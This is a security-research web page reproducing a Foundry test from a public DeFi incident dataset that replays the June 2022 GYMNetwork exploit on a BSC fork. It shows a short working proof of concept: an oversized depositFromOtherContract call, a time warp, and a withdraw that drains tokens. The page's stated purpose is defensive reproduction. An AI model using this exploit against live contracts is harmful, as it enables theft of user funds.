Skip to content
THREATWIRE

Public reproduction file

src/test/2022-06/Gym_2_exp.sol

Public reproduction file for dataset entry GYMNetwork.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-06/Gym_2_exp.sol23 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9 IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));
10 GymToken gymnet = GymToken(0x3a0d9d7764FAE860A659eb96A500F1323b411e68);
11 GymSinglePool gympool = GymSinglePool(0xA8987285E100A8b557F06A7889F79E0064b359f2);
13 function setUp() public {
14 cheat.createSelectFork("bsc", 18_501_049); //fork bsc at block 18501049
15 }
17 function testExploit() public {
18 gympool.depositFromOtherContract(8_000_000_000_000_000_000_000_666, 0, true, address(this));
19 cheat.warp(1_654_683_789);
20 gympool.withdraw(0);
21 emit log_named_uint("Exploit completed, GYMNET balance of attacker:", gymnet.balanceOf(address(this)));
22 }

Analysis

Dataset entry

Public Foundry test for “GYMNetwork” (2022-06-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

7 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
GYMNetwork
Path
src/test/2022-06/Gym_2_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
340c18e6018850e410b2a9974e15a35729157c06
Language
Solidity
Size
24 lines
Date
2022-06-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-06/Gym_2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 340c18e6018850e410b2a9974e15a35729157c06, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.